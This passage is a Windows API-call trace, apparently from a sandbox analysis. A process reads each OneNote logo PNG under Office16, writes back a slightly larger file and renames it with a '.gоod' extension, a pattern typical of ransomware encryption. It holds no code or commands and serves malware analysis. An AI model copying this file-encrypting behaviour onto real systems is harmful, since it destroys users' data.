[0254.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.758] GetFileType (hFile=0x824) returned 0x1 [0254.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.758] GetFileType (hFile=0x824) returned 0x1 [0254.758] WriteFile (in: hFile=0x824, lpBuffer=0x3b1c4f0*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3b1c4f0*, lpNumberOfBytesWritten=0x1fcee148*=0x810, lpOverlapped=0x0) returned 1 [0254.758] CloseHandle (hObject=0x824) returned 1 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x58 [0254.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0254.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9410c321, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0254.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0254.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png.gоod")) returned 1 [0254.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0254.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0254.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3b1d7d8 | out: lpFileInformation=0x3b1d7d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a)) returned 1 [0254.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0254.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0254.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.760] GetFileType (hFile=0x824) returned 0x1 [0254.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.760] GetFileType (hFile=0x824) returned 0x1 [0254.760] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x73a [0254.760] ReadFile (in: hFile=0x824, lpBuffer=0x3b1e2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3b1e2d0*, lpNumberOfBytesRead=0x1fcee238*=0x73a, lpOverlapped=0x0) returned 1 [0254.761] CloseHandle (hObject=0x824) returned 1 [0254.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0254.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.866] GetFileType (hFile=0x864) returned 0x1 [0254.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.866] GetFileType (hFile=0x864) returned 0x1 [0254.866] WriteFile (in: hFile=0x864, lpBuffer=0x3d30358*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3d30358*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0255.138] CloseHandle (hObject=0x864) returned 1 [0255.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0255.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6d [0255.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0255.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9449f3ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0255.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0255.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0255.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0255.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0255.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3c1be28 | out: lpFileInformation=0x3c1be28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4)) returned 1 [0255.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0255.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0255.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0255.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0255.605] GetFileType (hFile=0x8a8) returned 0x1 [0255.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0255.605] GetFileType (hFile=0x8a8) returned 0x1 [0255.605] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7e4 [0255.606] ReadFile (in: hFile=0x8a8, lpBuffer=0x3c1c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c1c9c8*, lpNumberOfBytesRead=0x1fcee238*=0x7e4, lpOverlapped=0x0) returned 1 [0255.838] CloseHandle (hObject=0x8a8) returned 1 [0255.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0255.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0255.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0255.850] GetFileType (hFile=0x8a8) returned 0x1 [0255.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0255.850] GetFileType (hFile=0x8a8) returned 0x1 [0255.850] WriteFile (in: hFile=0x8a8, lpBuffer=0x3c98660*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3c98660*, lpNumberOfBytesWritten=0x1fcee148*=0x7f0, lpOverlapped=0x0) returned 1 [0255.850] CloseHandle (hObject=0x8a8) returned 1 [0255.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0255.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6d [0255.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0255.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94b55477, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0255.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0255.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0255.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0255.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0255.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3c999c8 | out: lpFileInformation=0x3c999c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2)) returned 1 [0255.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0255.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0255.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0255.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0255.852] GetFileType (hFile=0x8a8) returned 0x1 [0255.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0255.852] GetFileType (hFile=0x8a8) returned 0x1 [0255.852] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9b2 [0255.852] ReadFile (in: hFile=0x8a8, lpBuffer=0x3c9a738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c9a738*, lpNumberOfBytesRead=0x1fcee238*=0x9b2, lpOverlapped=0x0) returned 1 [0255.927] CloseHandle (hObject=0x8a8) returned 1 [0255.938] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0255.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0255.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0255.938] GetFileType (hFile=0x8a8) returned 0x1 [0255.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0255.938] GetFileType (hFile=0x8a8) returned 0x1 [0255.939] WriteFile (in: hFile=0x8a8, lpBuffer=0x3c26ab0*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3c26ab0*, lpNumberOfBytesWritten=0x1fcee148*=0x9c0, lpOverlapped=0x0) returned 1 [0255.939] CloseHandle (hObject=0x8a8) returned 1 [0255.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0255.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6d [0255.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0255.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94c38b02, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0255.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0255.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0255.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0255.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0255.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3c27e18 | out: lpFileInformation=0x3c27e18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x605)) returned 1 [0255.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0255.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0255.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0255.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0255.941] GetFileType (hFile=0x8a8) returned 0x1 [0255.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0255.941] GetFileType (hFile=0x8a8) returned 0x1 [0255.941] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x605 [0255.941] ReadFile (in: hFile=0x8a8, lpBuffer=0x3c287c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c287c8*, lpNumberOfBytesRead=0x1fcee238*=0x605, lpOverlapped=0x0) returned 1 [0256.008] CloseHandle (hObject=0x8a8) returned 1 [0256.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0256.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.057] GetFileType (hFile=0x828) returned 0x1 [0256.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.057] GetFileType (hFile=0x828) returned 0x1 [0256.057] WriteFile (in: hFile=0x828, lpBuffer=0x3bc6da0*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3bc6da0*, lpNumberOfBytesWritten=0x1fcee148*=0x610, lpOverlapped=0x0) returned 1 [0256.057] CloseHandle (hObject=0x828) returned 1 [0256.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0256.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6c [0256.057] SetThreadErrorMode 